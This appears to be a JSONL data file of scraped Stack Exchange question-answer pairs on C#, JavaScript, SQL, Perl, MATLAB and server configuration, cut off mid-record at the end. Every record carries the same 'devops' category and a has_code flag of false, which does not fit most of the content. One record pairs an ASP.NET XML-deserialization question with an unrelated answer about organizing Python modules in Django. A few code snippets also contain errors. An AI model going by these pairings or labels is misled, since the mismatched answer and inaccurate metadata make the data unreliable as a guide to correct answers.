{"id": "hf_3694b2f6f439", "question": "<p>I just noticed that java.beans.Introspector getBeanInfo does not pickup any superinterface's properties. Example:</p>\n\n<pre><code>public interface Person {\n    String getName();\n}\npublic interface Employee extends Person {\n    int getSalary();\n}\n</code></pre>\n\n<p>Introspecting on Employee only yields salary even though name is inherited from Person.</p>\n\n<p>Why is this? I would rather not have to use reflection to get all the getters.</p>\n", "question_body": "", "answer": "Try using\n```\n```\npublic static BeanInfo getBeanInfo(Class<?> beanClass, Introspector.USE_ALL_BEANINFO);\n```\n```\nand see if this yields the result you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.824404"}
{"id": "hf_de8984174a04", "question": "<p>Is there a way to test the type of an element in JavaScript? </p>\n\n<p>The answer may or may not require the prototype library, however the following setup does make use of the library.</p>\n\n<pre><code>function(event) {\n  var element = event.element();\n  // if the element is an anchor\n  ...\n  // if the element is a td\n  ...\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nif (element.nodeName == \"A\") {\n ...\n} else if (element.nodeName == \"TD\") {\n ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.861956"}
{"id": "hf_4d6c53836d91", "question": "<p><strong>Environment:</strong><br/>\nWindows Server 2003 R2 Enterprise 64bit, SP2<br/>\n.NET framework is supposedly installed (2.0 SP2, 3.0 SP2, 3.5 SP1)</p>\n\n<p>I say \"supposedly\" because they are listed as installed under Add/Remove programs. I'm not sure it's <em>properly</em> installed, because the \"ASP.NET\" tab isn't added to any of the sites in IIS.</p>\n\n<p>In the IIS Web Service Extensions section, I have both \"ASP.NET v2.0.50727\" (Allowed), and \"ASP.NET v2.0.50727 (32-bit)\" (Prohibited).</p>\n\n<p>The site in question has script-execute enabled.</p>\n\n<p><strong>Problem:</strong></p>\n\n<p>I created a super-simple ASP.NET/C# website: Default.aspx with a label id=\"Label1\", and a code-behind with: <code>Label1.text = \"Hello World\";</code> and the error I'm getting is:</p>\n\n<blockquote>\n  <p>%1 is not a valid Win32 application.</p>\n</blockquote>\n", "question_body": "", "answer": "Have you tried running:\n```\n```\naspnet_regiis -i\n```\n```\nfrom the command line?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.899566"}
{"id": "hf_f75c52279861", "question": "<p>In emacs there is a handy way to launch the gdb and gui options for gdb, the C debugger.</p>\n\n<p>Is there a similar option in gvim?</p>\n", "question_body": "", "answer": "I don't think there is.  I use different windows.\nThe only thing I can think of is\n```\n```\n!gdb blah blah blah\n```\n```\nbut that may not be what you are looking for.  It tends to be used to generate batch text that gets plugged back into the file you are editing.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.925005"}
{"id": "hf_2b7352884ea6", "question": "<p>I would like to be able to spawn a linux process that would only have access to stdin, stdout, and stderr (nothing more and nothing less). Can I do this at the process level itself? I am also implicitly stating (oxymoron) that I don't want the spawned process to be able to change the \"thing\" that the other end of the stream points to. </p>\n\n<p>Metaphorically:</p>\n\n<ul>\n<li>the process has a input pipe that comes from somewhere, it cannot change where the pipe starts from, so it cannot control where input comes from.</li>\n<li>the process has output and error pipes that go somewhere, it cannot change where the other end of the output pipes point to, so it cannot control where output goes to.</li>\n<li>it cannot create any new pipes.</li>\n</ul>\n\n<p>I am also currently looking at SElinux. Would this allow me to create a process that only had access to these three streams? Thank you.</p>\n", "question_body": "", "answer": "If you're root, you can chroot to a directory, drop privileges so that you no longer have filesystem write access, then exec.  That will prevent a program from creating new files.  But there's no way to prevent a program from creating pipes and sockets (well, no-sockets is possible with SELinux), and there's no way to prevent a program from rearranging and closing its file descriptors.\nWell, I suppose you could use\n```\nptrace\n```\nto trap all syscalls, and only allow the ones that you approve of, so when I say \"there's no way\" I mean \"there's no easy way\".  This incurs a noticable overhead, but if you're careful enough you can make it secure.  The\n```\nstrace\n```\nor\nUMview\nprojects may be good starting points if you decide to go down this path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.998648"}
{"id": "hf_c3d4b1a522bc", "question": "<p>Can you please let me know the SQL to split date ranges when they overlap?</p>\n\n<p>Data (sample data with a date range and possibly other columns):</p>\n\n<pre><code>    Col1 FromDate ToDate\n 1. 1    1/1/2008 31/12/2010\n 2. 1    1/1/2009 31/12/2012\n 3. 1    1/1/2009 31/12/2014\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>   Col1  From Date ToDate\n1. 1     1/1/2008 31/12/2008 (from row 1 above)\n2. 1     1/1/2009 31/12/2010 (from rows 1,2 and 3 above)\n3. 1     1/1/2011 31/12/2012 (from rows 2 and 3 above)\n4. 1     1/1/2013 31/12/2014 (from row 3 above)\n</code></pre>\n", "question_body": "", "answer": "This should do the trick (MySQL dialect, but easily adaptable)\nInitial setup\n```\n```\nSQL query: SELECT * FROM `test` LIMIT 0, 30 ;\nRows: 3\nstart       end\n2008-01-01  2010-12-31\n2009-01-01  2012-12-31\n2009-01-01  2014-12-31\n```\n```\nQuery\n```\n```\nSELECT \n  `start` , min( `end` )\nFROM (\n  SELECT t1.start, t2.end\n  FROM test t1, test t2\n  WHERE t1.start < t2.end\n  UNION\n  SELECT t1.end + INTERVAL 1 DAY , t2.end\n  FROM test t1, test t2\n  WHERE t1.end + INTERVAL 1 DAY < t2.end\n  UNION\n  SELECT t1.start, t2.start - INTERVAL 1 DAY\n  FROM test t1, test t2\n  WHERE t1.start < t2.start - INTERVAL 1 DAY\n) allRanges\nGROUP BY `start`\n```\n```\nResult\n```\n```\nstart       min( `end` )\n2008-01-01  2008-12-31\n2009-01-01  2010-12-31\n2011-01-01  2012-12-31\n2013-01-01  2014-12-31\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.072197"}
{"id": "hf_0034663630cf", "question": "<p>I have a bit of html like so:</p>\n\n<pre><code>&lt;a href=\"#somthing\" id=\"a1\"&gt;&lt;img src=\"something\" /&gt;&lt;/a&gt;\n&lt;a href=\"#somthing\" id=\"a2\"&gt;&lt;img src=\"something\" /&gt;&lt;/a&gt;\n</code></pre>\n\n<p>I need to strip off the links so I'm just left with a couple of image tags. What would be the most efficient way to do this with jQuery?</p>\n", "question_body": "", "answer": "```\n```\n$(\"a > img\").parent()   // match all <a><img></a>, select <a> parents\n   .each( function()    // for each link\n   { \n      $(this).replaceWith(              // replace the <a>\n         $(this).children().remove() ); // with its detached children.\n   });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.096820"}
{"id": "hf_ac123ee46bb4", "question": "<p>I have a module in the parent directory of my script and I would like to 'use' it.</p>\n\n<p>If I do</p>\n\n<pre><code>use '../Foo.pm';\n</code></pre>\n\n<p>I get syntax errors.</p>\n\n<p>I tried to do:</p>\n\n<pre><code>push @INC, '..';\nuse EPMS;\n</code></pre>\n\n<p>and .. apparently doesn't show up in @INC</p>\n\n<p>I'm going crazy!  What's wrong here?</p>\n", "question_body": "", "answer": "You have to have the\n```\npush\n```\nprocessed before the\n```\nuse\n```\nis -- and\n```\nuse\n```\nis processed early.  So, you'll need a\n```\nBEGIN { push @INC, \"..\"; }\n```\nto have a chance, I believe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.121488"}
{"id": "hf_57510942195f", "question": "<p>Say if I have a dropdown in a form and I have another nested class inside of this class .\nNow what's the best way to access this dropdown from the nested class? </p>\n", "question_body": "", "answer": "Unlike Java, a nested class isn't a special \"inner class\" so you'd need to pass a reference.  Raymond Chen has an example describing the differences here :\nC# nested classes are like C++ nested classes, not Java inner classes\n.\nHere is an example where the constructor of the nested class is passed the instance of the outer class for later reference.\n```\n```\n// C#\nclass OuterClass \n{\n    string s;\n    // ...\n    class InnerClass \n    {\n       OuterClass o_;\n       public InnerClass(OuterClass o) { o_ = o; }\n       public string GetOuterString() { return o_.s; }\n    }\n    void SomeFunction() {\n        InnerClass i = new InnerClass(this);\n        i.GetOuterString();\n    }\n\n}\n```\n```\nNote that the InnerClass can access the \"\n```\ns\n```\n\" of the OuterClass, I didn't modify Raymond's code (as I linked to above), so remember that the \"\n```\nstring s;\n```\n\" is\n```\nprivate\n```\nbecause no other access permission was specified.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.145566"}
{"id": "hf_1e94bae46242", "question": "<p>How can I get Environnment variables and if something is missing, set the value?</p>\n", "question_body": "", "answer": "Use the\nSystem.Environment\nclass.\nThe methods\n```\n```\nvar value = System.Environment.GetEnvironmentVariable(variable [, Target])\n```\n```\nand\n```\n```\nSystem.Environment.SetEnvironmentVariable(variable, value [, Target])\n```\n```\nwill do the job for you.\nThe optional parameter\n```\nTarget\n```\nis an enum of type\n```\nEnvironmentVariableTarget\n```\nand it can be one of:\n```\nMachine\n```\n,\n```\nProcess\n```\n, or\n```\nUser\n```\n. If you omit it, the default target is the\ncurrent process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.265737"}
{"id": "hf_8eb1119f757f", "question": "<p>I'm programming something that allows users to store documents and pictures on a webserver, to be stored and retrieved later.  When users upload files to my server, PHP tells me what filetype it is based on the extension.  However, I'm afraid that users could rename a zip file as somezipfile.png and store it, thus keeping a zip file on my server.  Is there any reasonable way to open an uploaded file and \"check\" to see if it truly is of the said filetype?</p>\n", "question_body": "", "answer": "Sort of. Most file types have some bytes reserved for marking them so that you don't have to rely on the extension.  The site\nhttp://wotsit.org\nis a great resource for finding this out for a particular type.\nIf you are on a unix system, I believe that the file command doesn't rely on the extension, so you could shell out to it if you don't want to write the byte checking code.\nFor PNG (\nhttp://www.w3.org/TR/PNG-Rationale.html\n)\nThe first eight bytes of a PNG file always contain the following values:\n(decimal)              137  80  78  71  13  10  26  10\n(hexadecimal)           89  50  4e  47  0d  0a  1a  0a\n(ASCII C notation)    \\211   P   N   G  \\r  \\n \\032 \\n", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.315156"}
{"id": "hf_2929f32d041a", "question": "<p>I would like to access a class everywhere in my application, how can I do this?</p>\n\n<p>To make it more clear, I have a class somewhere that use some code. I have an other class that use the same code. I do not want to duplicate so I would like to call the same code in both place by using something. In php I would just include(\"abc.php\") in both... I do not want to create the object everytime I want to use the code.</p>\n", "question_body": "", "answer": "The concept of global classes in C# is really just a simple matter of referencing the appropriate assembly containing the class. Once you have reference the needed assembly, you can refer to the class of choice either by it's fully qualified Type name, or by importing the namespace that contains the class. (\nConcrete instance or Static access\nto that class)\nOr\nYou can have a\nSingleton class\nto use it everywhere but some people won't recommend you this way to proceed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.413797"}
{"id": "hf_033c155e19ba", "question": "<p>RDBMS packages today offer a tremendous amount of functionality beyond standard data storage and retrieval.  SQL Server for example can send emails, expose web service methods, and execute CLR code amongst other capabilities.  However, I have always tried to limit the amount of processing my database server does to just data storage and retrieval as much as possible, for the following reasons:</p>\n\n<ul>\n<li>A database server is harder to scale than web servers</li>\n<li>In a lot of projects I've worked on, the DB server is a lot busier than the web servers, and thus has less spare capacity</li>\n<li>It potentially exposes your database server to a security attack (web services for example)</li>\n</ul>\n\n<p>My question is, how do you decide how much functionality or code should be implemented directly on your database server versus other servers in your architecture?  What recommendations do you have for people starting new projects?</p>\n", "question_body": "", "answer": "The vendors have one set of best practices.  You, however, voice concerns with that.\nYears ago I supported a\nMajor Software Product\n. Major.\nThey said \"The database is relational storage.  Nothing more.\"  Every user conference people would ask about stored procedure, triggers, and all that malarkey.\nTheir architect was firm.  As soon as you get away from plain-old-SQL, you've got a support and maintenance nightmare.  They did object-relational mapping from the DB into their product, and everything else was in their product.\nThis scales well.  Multiple application servers can easily share a single database server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.511623"}
{"id": "hf_37478ccbe1b1", "question": "<p>What is the regular expression to match strings (in this case, file names) that start with 'Run' and have a filename extension of '.py'?</p>\n\n<p>The regular expression should match any of the following:</p>\n\n<pre><code>RunFoo.py\nRunBar.py\nRun42.py\n</code></pre>\n\n<p>It should not match:</p>\n\n<pre><code>myRunFoo.py\nRunBar.py1\nRun42.txt\n</code></pre>\n\n<p>The SQL equivalent of what I am looking for is <code>... LIKE 'Run%.py' ...</code>.</p>\n", "question_body": "", "answer": "This probably doesn't fully comply with file-naming standards, but here it goes:\n```\n```\n/^Run[\\w]*?\\.py$/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.536354"}
{"id": "hf_e496d1f6c374", "question": "<p>I have some System.Diagnotics.Processes to run.  I'd like to call the close method on them automatically.  Apparently the \"using\" keyword does this for me.</p>\n\n<p>Is this the way to use the using keyword?</p>\n\n<pre><code>foreach(string command in S) // command is something like \"c:\\a.exe\"\n{\n    try\n    {\n        using(p = Process.Start(command))\n        {\n            // I literally put nothing in here.\n        }\n    }\n    catch (Exception e)\n    {\n        // notify of process failure\n    }\n}\n</code></pre>\n\n<p>I'd like to start multiple processes to run concurrently.</p>\n", "question_body": "", "answer": "```\n```\ntry\n{\n   foreach(string command in S) // command is something like \"c:\\a.exe\"\n   {\n      using(p = Process.Start(command))\n      {\n        // I literally put nothing in here.\n      }\n\n    } \n}\ncatch (Exception e)\n{\n    // notify of process failure\n}\n```\n```\nThe reason it works is because when the exception happens, the variable p falls out of scope and thus it's Dispose method is called that closes the process is how that would go.  Additionally, I would think you'd want to spin a thread off for each command rather than wait for an executable to finish before going on to the next one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.560936"}
{"id": "hf_dfd14bf93833", "question": "<p>While working on a C# app I just noticed that in several places static initializers have dependencies on each other like this:</p>\n\n<pre><code>static private List&lt;int&gt; a = new List&lt;int&gt;() { 0 };\nstatic private List&lt;int&gt; b = new List&lt;int&gt;() { a[0] };\n</code></pre>\n\n<p>Without doing anything special that worked. Is that just luck? Does C# have rules to resolve this?</p>\n\n<p><strong>Edit:</strong> (re: Panos) In a file lexical order seems to be king? what about across files?</p>\n\n<p>In looking I tried a cyclical dependency like this:</p>\n\n<pre><code>static private List&lt;int&gt; a = new List&lt;int&gt;() { b[0] };\nstatic private List&lt;int&gt; b = new List&lt;int&gt;() { a[0] };\n</code></pre>\n\n<p>and the program didn't run the same (the test suit failed across the board and I didn't look further).</p>\n", "question_body": "", "answer": "It seems to depend on the sequence of lines. This code works:\n```\n```\nstatic private List<int> a = new List<int>() { 1 };\nstatic private List<int> b = new List<int>() { a[0] };\n```\n```\nwhile this code does not work (it throws a\n```\nNullReferenceException\n```\n)\n```\n```\nstatic private List<int> a = new List<int>() { b[0] };\nstatic private List<int> b = new List<int>() { 1 };\n```\n```\nSo, obviously no rules for cyclical dependency exist. It's peculiar however that the compiler does not complain...\nEDIT - What's happening \"across files\"? If we declare these two classes:\n```\n```\npublic class A {\n    public static List<int> a = new List<int>() { B.b[0] };\n}\npublic class B {\n    public static List<int> b = new List<int>() { A.a[0] };\n}\n```\n```\nand try to access them with this code:\n```\n```\ntry { Console.WriteLine(B.b); } catch (Exception e) { Console.WriteLine(e.InnerException.Message.); }\ntry { Console.WriteLine(A.a); } catch (Exception e) { Console.WriteLine(e.InnerException.Message); }\ntry { Console.WriteLine(B.b); } catch (Exception e) { Console.WriteLine(e.InnerException.Message); }\n```\n```\nwe are getting this output:\n```\n```\nThe type initializer for 'A' threw an exception.\nObject reference not set to an instance of an object.\nThe type initializer for 'A' threw an exception.\n```\n```\nSo the initialization of\n```\nB\n```\ncauses an exception in static constructor\n```\nA\n```\nand lefts field\n```\na\n```\nwith the default value (null). Since\n```\na\n```\nis\n```\nnull\n```\n,\n```\nb\n```\ncan not also be initialized properly.\nIf we do not have cyclical dependencies, everything works fine.\nEDIT: Just in case you didn't read the comments,\nJon Skeet\nprovides a very interesting reading:\nThe differences between static constructors and type initializers\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.589175"}
{"id": "hf_cdc30c25a295", "question": "<p>In ASP.NET, I have an XML file (within my project) that I would like to deserialize.  FileStream objects do not allow you to open a file via URL.  </p>\n\n<p>What is the easiest way to open the file so that I can deserialize it? </p>\n", "question_body": "", "answer": "Generally, we put it all in one file. This isn't Java or C++.\nStart with a single file until you get some more experience with Python.  Unless your files are gargantuan, it will work fine.\nFor example, Django encourages this style, so copy their formula for success.  One module for the model.  A module for each application; each application imports a common model.\nYour Database and superclass stuff can be in your\n```\n__init__.py\n```\nfile, since it applies to the entire package.  That may reduce some of the circularity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.627084"}
{"id": "hf_0f4e88705cd5", "question": "<p>I am working on a web application that was recently converted from Visual Studio 2003 to Visual Studio 2008.  The application contained some web services that were written using the .NET 1.1 Framework and Web Service Enhancements 2.0.  They were converted to the .NET 3.5 framework using the VS 2008 Conversion Wizard Tool.</p>\n\n<p>A client application which is still written using the .NET 1.1 framework has a reference to the updated web service and try to consume the web service and received the following error:</p>\n\n<p>System.Web.Services.Protocols.SoapException: Server did not recognize the value of HTTP Header SOAPAction: (web service URI)</p>\n\n<p>The URL Behavior is set to static for the reference and the proxy class inheritance was changed from System.Web.Services.Protocols.SoapHttpClientProtocol namespace to Microsoft.Web.Services2.WebServicesExtension namespace</p>\n\n<p>If you need additional information or need to see some source code, please let me know.</p>\n", "question_body": "", "answer": "Does the web service work otherwise?  Is it possible your new updated 2.0 web service exists in the same application domain as a 1.1 application?  In that case you'll want to make your own app-domain.\nIf its not local try using Fiddler to see everything that is going back and forth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.652023"}
{"id": "hf_81f07f7c2bf7", "question": "<p>There's a lot of interest these days in Erlang as a language for writing parallel programs on multicore. I've heard people argue that Erlang's message-passing model is easier to program than the dominant shared-memory models such as threads. </p>\n\n<p>Conversely, in the high-performance computing community the dominant parallel programming model has been MPI, which also implements a message-passing model. But in the HPC world, this message-passing model is generally considered very difficult to program in, and people argue that shared memory models such as OpenMP or UPC are easier to program in.   </p>\n\n<p>Does anybody know why there is such a difference in the perception of message-passing vs. shared memory in the IT and HPC worlds? Is it due to some fundamental difference in how Erlang and MPI implement message passing that makes Erlang-style message-passing much easier than MPI? Or is there some other reason? </p>\n", "question_body": "", "answer": "Regarding MPI vs OpenMP/UPC: MPI forces you to slice the problem in small pieces and take responsibility for moving data around.  With OpenMP/UPC, \"all the data is there\", you just have to dereference a pointer.  The MPI advantage is that 32-512 CPU clusters are much cheaper than 32-512 CPU single machines.  Also, with MPI the expense is upfront, when you design the algorithm.  OpenMP/UPC can hide the latencies that you'll get at runtime, if your system uses NUMA (and all big systems do) - your program won't scale and it will take a while to figure out why.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.724506"}
{"id": "hf_0c76ab8a375f", "question": "<p>My company has login integration with GroupWise, and Exchange 5.5/2000+.  The Exchange 5.5/GroupWise logic is done using wldap32.dll (win32), and so the login code is in a managed c++ class.  When the configuration tool (or the backend service) tries to load the dll built off this managed c++ project on my XP development box, it works fine.  On QA/Customer Windows 2003 boxes, a FileLoadException is thrown.</p>\n\n<p>First off, this used to work fine.  Secondly, I've validated the same working code on my box fails on the qa box.  </p>\n\n<p>How can I track down the cause of this exception?</p>\n", "question_body": "", "answer": "Not to answer my own question, but support just updated the bug with the text following this paragraph.  I'm still interested in thoughts on tracking down situations like this.\nResolved by downloading and installing the Visual C++ 2008 Redistributable\nPackage for Windows on the IMS:\nhttp://www.microsoft.com/downloads/details.aspx?FamilyID=a5c84275-3b97-4ab7-a40d-3802b2af5fc2&DisplayLang=en", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.749064"}
{"id": "hf_8b33f6726b89", "question": "<p>I would like MATLAB to tell me if I have an input file (.m file) that contains some variables with their numbers (i.e., <code>a = 5</code>, <code>b = 6</code>, <code>c = 7</code>) so that I can then use that .m file in another program (main .m file) that uses these variables to calculate <code>S = a + b + c</code>. How can I then read the input file from the main file? Assume the input file is called INP and the main MAIN.</p>\n", "question_body": "", "answer": "If your \"input\" file is an m-file, just use the name of the file in your \"main\" m-file.  For example you might have a file called input.m that looks like this:\n```\n```\n% File: inputs.m\na = 5;\nb = 6;\nc = 7;\n```\n```\nThen, you can use it in the file main.m like this:\n```\n```\n% File: main.m\ninputs;\nS = a + b + c;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.811530"}
{"id": "hf_f471f2f0eb89", "question": "<p>I have a view that supports landscape and portrait viewing, with the controls all moving around when you switch from one to the other. I'm currently doing this by setting the .center of each one of my controls when the user rotates the phone. The problem is that this is tedious, and requires a lot of code, and seems to defeat the purpose of using Interface Builder in the first place.</p>\n\n<p>My question is: is there a way in Interface Builder for one view to support multiple looks (one for landscape one for portrait)? If not how do other people do this with IB? Do you set up 2 views?</p>\n\n<p>Edit: Just to clarify my landscape and portrait views look different, I don't want a straight transform, I actually display the data differently in landscape mode</p>\n", "question_body": "", "answer": "I'm not 100% sure if it's possible, but have you considered using different view controllers for landscape and portrait?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.836042"}
{"id": "hf_b01e93df6c59", "question": "<p>Anyone know of a good memory/disk caching library for AIR? Extra points for being compatible with Flash CS3, and being free (as in beer).</p>\n\n<p>I'd like to cache results of http requests: both binary and text (xml).</p>\n", "question_body": "", "answer": "The\nbulk-loader\nproject might have what you're looking for. I haven't used it myself but in the description it says (among other things):\nCache management\nVarious asset types (XML, NetStreams, Swfs, Images, Sound, Text Files)\nFrom quickly looking at the code and some of the examples in the wiki it looks like it has memory (but not disk) caching capabilities.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.872353"}
{"id": "hf_134304de0762", "question": "<p>Is it possible to do something like this?</p>\n\n<pre><code>var pattern = /some regex segment/ + /* comment here */\n    /another segment/;\n</code></pre>\n\n<p>Or do I have to use new <code>RegExp()</code> syntax and concatenate a string? I'd prefer to use the literal as the code is both more self-evident and concise.</p>\n", "question_body": "", "answer": "Here is how to create a regular expression without using the regular expression literal syntax. This lets you do arbitary string manipulation before it becomes a regular expression object:\n```\n```\nvar segment_part = \"some bit of the regexp\";\nvar pattern = new RegExp(\"some regex segment\" + /*comment here */\n              segment_part + /* that was defined just now */\n              \"another segment\");\n```\n```\nIf you have two regular expression literals, you can in fact concatenate them using this technique:\n```\n```\nvar regex1 = /foo/g;\nvar regex2 = /bar/y;\nvar flags = (regex1.flags + regex2.flags).split(\"\").sort().join(\"\").replace(/(.)(?=.*\\1)/g, \"\");\nvar regex3 = new RegExp(expression_one.source + expression_two.source, flags);\n// regex3 is now /foobar/gy\n```\n```\nIt's just more wordy than just having expression one and two being literal strings instead of literal regular expressions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.933813"}
{"id": "hf_23bfcdb299a2", "question": "<p>I have months stored in SQL Server as 1,2,3,4,...12. I would like to display them as January,February etc. Is there a function in SQL Server like MonthName(1) = January? I am trying to avoid a CASE statement, if possible.</p>\n", "question_body": "", "answer": "A little hacky but should work:\n```\n```\nSELECT DATENAME(month, DATEADD(month, @mydate-1, CAST('2008-01-01' AS datetime)))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:09.958950"}
{"id": "hf_0ca2cb9d268b", "question": "<p>What is the largest heap you have personally used in a managed environment such as Java or .NET?  What were some of the performance issues you ran into, and did you end up getting a diminishing returns the larger the heap was? </p>\n", "question_body": "", "answer": "I am unsure what you mean by heap,  but if you mean memory used, I have used quite a bit, 2GB+. I have a web app that does image processing and it requires loading 2 large scan files into memory to do analysis.\nThere were performance issues. Windows would swap out lots of ram, and then that would create a lot of page faults. There was never any need for anymore than 2 images at a time as all requests were gainst those images (I only allowed  1 session per image set at a time)\nFor instance, to setup the files for initial viewing would take about 5 seconds. Doing simple analysis and zooming would be fairly fast once in memory, in the order of .1 to .5 seconds.\nI still had to optimize, so I ended up preparsung the files and chopping into smaller peices and worked only with the peices that were required by the user at the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.031810"}
{"id": "hf_65ba7c01774f", "question": "<p>I would like to remove the domain/computer information from a login id in C#.  So, I would like to make either \"Domain\\me\" or \"Domain\\me\" just \"me\".  I could always check for the existence of either, and use that as the index to start the substring...but I am looking for something more elegant and compact.</p>\n\n<p>Worse case scenario:</p>\n\n<pre><code>int startIndex = 0;\nint indexOfSlashesSingle = ResourceLoginName.IndexOf(\"\\\");\nint indexOfSlashesDouble = ResourceLoginName.IndexOf(\"\\\\\");\nif (indexOfSlashesSingle != -1)\n    startIndex = indexOfSlashesSingle;\nelse\n    startIndex = indexOfSlashesDouble;\nstring shortName = ResourceLoginName.Substring(startIndex, ResourceLoginName.Length-1);\n</code></pre>\n", "question_body": "", "answer": "I always do it this way:\n```\n```\nstring[] domainuser;\n    string Auth_User = Request.ServerVariables[\"AUTH_USER\"].ToString().ToLower(); \n    domainuser = Auth_User.Split('\\\\');\n```\n```\nNow you can look at domainuser.Length to see how many parts are there and domainuser[0] for the domain and domainuser[1] for the username.", "tags": [], 